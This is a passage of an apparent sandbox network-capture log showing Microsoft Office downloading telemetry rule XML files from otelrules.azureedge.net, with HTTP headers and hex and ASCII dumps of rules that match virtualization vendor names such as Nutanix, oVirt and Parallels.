Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.4	49814	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 01:28:06 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 01:28:06 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 01:28:06 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: 57989b77-d01e-0049-621c-27e7dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T012806Z-16849878b785jrf8dn0d2rczaw00000008hg000000007k94 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 01:28:06 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.4	49815	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 01:28:06 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 01:28:06 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 01:28:06 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: 2cfbf663-801e-0083-68dc-26f0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T012806Z-17c5cb586f6fqqst87nqkbsx1c00000005u0000000005zp5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 01:28:06 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.4	49816	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 01:28:06 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 01:28:06 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 01:28:06 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: d518f54b-201e-006e-10e8-28bbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T012806Z-15b8d89586f4zwgbgswvrvz4vs00000008m000000000k32d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 01:28:06 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.4	49817	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 01:28:06 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 01:28:06 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 01:28:06 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: c2db9b5f-901e-0015-105a-27b284000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T012806Z-16849878b78bjkl8dpep89pbgg000000062000000000a6cn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-30 01:28:06 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.4	49818	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 01:28:06 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 01:28:06 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 01:28:06 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 9016a745-201e-0096-70e6-25ace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T012806Z-16849878b78j7llf5vkyvvcehs00000008h00000000009qf x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 01:28:06 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.4	49819	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 01:28:07 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 01:28:07 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 01:28:07 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: 384d3f9c-b01e-003d-2424-26d32c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T012807Z-17c5cb586f6hn8cl90dxzu28kw00000007cg00000000dcwa x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 01:28:07 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.4	49820	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 01:28:07 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 01:28:07 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 01:28:07 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 8e6d5db5-101e-0017-4c27-2747c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T012807Z-16849878b78qfbkc5yywmsbg0c000000070000000000e4f5 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 01:28:07 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.4	49821	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 01:28:07 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 01:28:07 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 01:28:07 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: 6cbbe1db-401e-0083-6516-26075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T012807Z-16849878b78qwx7pmw9x5fub1c00000005kg000000001fr8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 01:28:07 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.4	49823	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 01:28:07 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 01:28:07 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 01:28:07 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: f4a85f8f-401e-00ac-0701-270a97000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T012807Z-16849878b7867ttgfbpnfxt44s000000076000000000f0en x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-30 01:28:07 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.4	49822	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 01:28:07 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 01:28:07 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 01:28:07 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: 24f7a248-a01e-0053-7a83-298603000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T012807Z-17c5cb586f64v7xsc2ahm8gsgw00000002bg000000005ama x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 01:28:07 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.4	49824	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 01:28:07 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 01:28:08 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 01:28:08 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: 9cbc4178-801e-008f-12a3-262c5d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T012808Z-16849878b785dznd7xpawq9gcn00000008m000000000xf52 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 01:28:08 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.4	49825	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 01:28:07 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 01:28:08 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 01:28:08 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: 4b1c8405-301e-005d-7701-27e448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T012808Z-16849878b787bfsh7zgp804my4000000065g000000007ztd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
